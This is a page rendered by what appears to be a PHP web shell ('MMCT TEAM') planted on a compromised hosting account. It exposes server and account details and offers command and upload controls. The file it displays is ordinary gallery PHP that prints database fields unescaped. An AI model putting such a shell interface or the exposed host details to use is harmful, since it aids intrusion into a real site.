MMCT TEAM
Server IP : 103.53.40.154  /  Your IP : 3.141.7.165
Web Server : Apache
System : Linux md-in-35.webhostbox.net 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
User : ppcad7no ( 715)
PHP Version : 8.2.25
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0750) :  /home2/ppcad7no/advancepowerresearch.com/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home2/ppcad7no/advancepowerresearch.com/index-gallery.php
    <section class="portfolio-style-two sec-pad">
        <div class="container">
            <div class="sec-title text-center">
                <h3>Projects for <span>inspirations</span></h3>
                <p>You will find yourself working in a true partnership that results in an incredible <br /> experience, and an end product that is the best. </p>
            </div>
            <div class="gallery-filter">
                <ul class="post-filter masonary text-center">
                    <li class="filter active" data-filter=".masonary-item"><span><i class="industrio-icon-layers"></i>All</span></li>
                    <?php 
                        $sqlimg = "SELECT DISTINCT tbl_gallery.for_use,tbl_product.p_id,tbl_product.product_name FROM `tbl_gallery`
                        INNER JOIN tbl_product ON tbl_gallery.for_use = tbl_product.p_id";
                        $runimg = mysqli_query($db,$sqlimg) or die("Query Not run");
                        while($dataimg = mysqli_fetch_assoc($runimg)){
                    ?>
                    <li class="filter " data-filter=".ser<?php echo $dataimg['for_use']?>"><span> <?php echo $dataimg['product_name']?></span></li>
                    <?php } ?>
                </ul>
            </div>
            <div class="row masonary-layout filter-layout" data-filter-class="filter">
                <?php 
                    $sqlimgs = "SELECT * FROM `tbl_gallery` LIMIT 8";
                    $runimgs = mysqli_query($db,$sqlimgs) or die("Query Not run");
                    while($dataimgs = mysqli_fetch_assoc($runimgs)){
                ?>
                <div class="col-md-3 col-sm-6 col-xs-12 masonary-item single-filter-item ser<?php echo $dataimgs['for_use']?> ">
                    <div class="single-portfolio-style-two">
                        <div class="img-box">
                        <img src="<?php echo $wspath?>admin/images/gallery/<?php echo $dataimgs['image']?>" alt="Awesome Image"/>
                            <div class="overlay">
                                <div class="box">
                                    <div class="content">
                                        <!--<span>Melbourne, AU</span>-->
                                        <h3 href="<?php echo $wspath?>admin/images/gallery/<?php echo $dataimgs['image']?>" class="img-popup"><?php echo $dataimgs['title']?></h3>
                                        <a href="<?php echo $wspath?>admin/images/gallery/<?php echo $dataimgs['image']?>" class="img-popup industrio-icon-next"></a>
                                    </div>
                                </div>
                            </div>
                        </div>
                    </div>
                </div>
                <?php } ?>
            </div>
        </div><!-- /.container -->                
    </section><!-- /.project-style-one -->

MMCT - 2023